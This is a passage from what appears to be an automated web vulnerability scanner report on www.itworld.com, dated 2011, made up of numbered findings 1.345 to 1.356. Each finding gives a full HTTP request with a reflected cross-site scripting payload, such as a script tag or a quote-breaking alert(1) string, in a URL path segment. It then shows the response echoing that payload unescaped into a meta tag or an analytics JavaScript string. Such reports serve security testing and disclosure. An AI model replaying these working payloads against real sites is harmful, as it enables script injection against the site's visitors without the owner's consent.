This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modulesa8c61"><script>alert(1)</script>016ec953259/contrib/viewscarousel/jquery.jcarousel.pack.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:29 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460149"
Content-Type: text/html; charset=utf-8
Content-Length: 57826
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:32 GMT
X-Varnish: 252446328
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modulesa8c61"><script>alert(1)</script>016ec953259/contrib/viewscarousel/jquery.jcarousel.pack.js?h"/>
...[SNIP]...

1.345. http://www.itworld.com/sites/all/modules/contrib/viewscarousel/jquery.jcarousel.pack.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/viewscarousel/jquery.jcarousel.pack.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c7762"-alert(1)-"d61be733e04 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modulesc7762"-alert(1)-"d61be733e04/contrib/viewscarousel/jquery.jcarousel.pack.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:58 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460178"
Content-Type: text/html; charset=utf-8
Content-Length: 57611
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:02 GMT
X-Varnish: 252446841
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modulesc7762"-alert(1)-"d61be733e04/contrib/viewscarousel/jquery.jcarousel.pack.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't
...[SNIP]...

1.346. http://www.itworld.com/sites/all/modules/contrib/viewscarousel/jquery.jcarousel.pack.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/viewscarousel/jquery.jcarousel.pack.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 35382"-alert(1)-"ab049b8ba1c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib35382"-alert(1)-"ab049b8ba1c/viewscarousel/jquery.jcarousel.pack.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:24:03 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460243"
Content-Type: text/html; charset=utf-8
Content-Length: 57611
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:24:08 GMT
X-Varnish: 252448600
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib35382"-alert(1)-"ab049b8ba1c/viewscarousel/jquery.jcarousel.pack.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the
...[SNIP]...

1.347. http://www.itworld.com/sites/all/modules/contrib/viewscarousel/jquery.jcarousel.pack.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/viewscarousel/jquery.jcarousel.pack.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a395c"><script>alert(1)</script>a7a84267e60 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contriba395c"><script>alert(1)</script>a7a84267e60/viewscarousel/jquery.jcarousel.pack.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:51 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460231"
Content-Type: text/html; charset=utf-8
Content-Length: 57832
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:55 GMT
X-Varnish: 252448182
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contriba395c"><script>alert(1)</script>a7a84267e60/viewscarousel/jquery.jcarousel.pack.js?h"/>
...[SNIP]...

1.348. http://www.itworld.com/sites/all/modules/contrib/viewscarousel/jquery.jcarousel.pack.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/viewscarousel/jquery.jcarousel.pack.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 96770"-alert(1)-"4dd7cd4172d was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/viewscarousel/jquery.jcarousel.pack.js96770"-alert(1)-"4dd7cd4172d?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:11 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460311"
Content-Type: text/html; charset=utf-8
Content-Length: 57611
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:19 GMT
X-Varnish: 1038159893
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/viewscarousel/jquery.jcarousel.pack.js96770"-alert(1)-"4dd7cd4172d";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.349. http://www.itworld.com/sites/all/modules/contrib/viewscarousel/viewscarousel.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/viewscarousel/viewscarousel.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cdc54"-alert(1)-"45f5b2cab16 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sitescdc54"-alert(1)-"45f5b2cab16/all/modules/contrib/viewscarousel/viewscarousel.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:48 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460048"
Content-Type: text/html; charset=utf-8
Content-Length: 57526
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:50 GMT
X-Varnish: 1959723932
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sitescdc54"-alert(1)-"45f5b2cab16/all/modules/contrib/viewscarousel/viewscarousel.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We could
...[SNIP]...

1.350. http://www.itworld.com/sites/all/modules/contrib/viewscarousel/viewscarousel.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/viewscarousel/viewscarousel.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3eb21"><script>alert(1)</script>57c655bb82 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites3eb21"><script>alert(1)</script>57c655bb82/all/modules/contrib/viewscarousel/viewscarousel.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:10 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460010"
Content-Type: text/html; charset=utf-8
Content-Length: 57736
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:29 GMT
X-Varnish: 1959722697
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites3eb21"><script>alert(1)</script>57c655bb82/all/modules/contrib/viewscarousel/viewscarousel.js?h"/>
...[SNIP]...

1.351. http://www.itworld.com/sites/all/modules/contrib/viewscarousel/viewscarousel.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/viewscarousel/viewscarousel.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 386c1"><script>alert(1)</script>36e2b205770 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib386c1"><script>alert(1)</script>36e2b205770/viewscarousel/viewscarousel.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:25 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460145"
Content-Type: text/html; charset=utf-8
Content-Length: 57746
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:45 GMT
X-Varnish: 252446262
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib386c1"><script>alert(1)</script>36e2b205770/viewscarousel/viewscarousel.js?h"/>
...[SNIP]...

1.352. http://www.itworld.com/sites/all/modules/contrib/viewscarousel/viewscarousel.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/viewscarousel/viewscarousel.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1ea49"-alert(1)-"87d9645cb01 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib1ea49"-alert(1)-"87d9645cb01/viewscarousel/viewscarousel.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:55 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460175"
Content-Type: text/html; charset=utf-8
Content-Length: 57526
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:21 GMT
X-Varnish: 252446817
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib1ea49"-alert(1)-"87d9645cb01/viewscarousel/viewscarousel.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page yo
...[SNIP]...

1.353. http://www.itworld.com/sites/all/modules/contrib/viewscarousel/viewscarousel.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/viewscarousel/viewscarousel.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 54bbf"-alert(1)-"2d9359c8ad9 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/viewscarousel54bbf"-alert(1)-"2d9359c8ad9/viewscarousel.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:45 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460225"
Content-Type: text/html; charset=utf-8
Content-Length: 57532
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:24:01 GMT
X-Varnish: 252447927
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
;
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/viewscarousel54bbf"-alert(1)-"2d9359c8ad9/viewscarousel.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
...[SNIP]...

1.354. http://www.itworld.com/sites/all/modules/contrib/viewscarousel/viewscarousel.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/viewscarousel/viewscarousel.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9c909"><script>alert(1)</script>a7c3ff239bb was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/viewscarousel9c909"><script>alert(1)</script>a7c3ff239bb/viewscarousel.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:30 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460210"
Content-Type: text/html; charset=utf-8
Content-Length: 57751
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:32 GMT
X-Varnish: 252447437
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/viewscarousel9c909"><script>alert(1)</script>a7c3ff239bb/viewscarousel.js?h"/>
...[SNIP]...

1.355. http://www.itworld.com/sites/all/modules/features/itw_activity/js/itw_activity.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/features/itw_activity/js/itw_activity.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7f9ea"-alert(1)-"f868791d937 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules7f9ea"-alert(1)-"f868791d937/features/itw_activity/js/itw_activity.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:45 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460165"
Content-Type: text/html; charset=utf-8
Content-Length: 57550
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:47 GMT
X-Varnish: 252446548
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules7f9ea"-alert(1)-"f868791d937/features/itw_activity/js/itw_activity.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find t
...[SNIP]...

1.356. http://www.itworld.com/sites/all/modules/features/itw_activity/js/itw_activity.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/features/itw_activity/js/itw_activity.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f6986"><script>alert(1)</script>0684c604f36 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modulesf6986"><script>alert(1)</script>0684c604f36/features/itw_activity/js/itw_activity.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
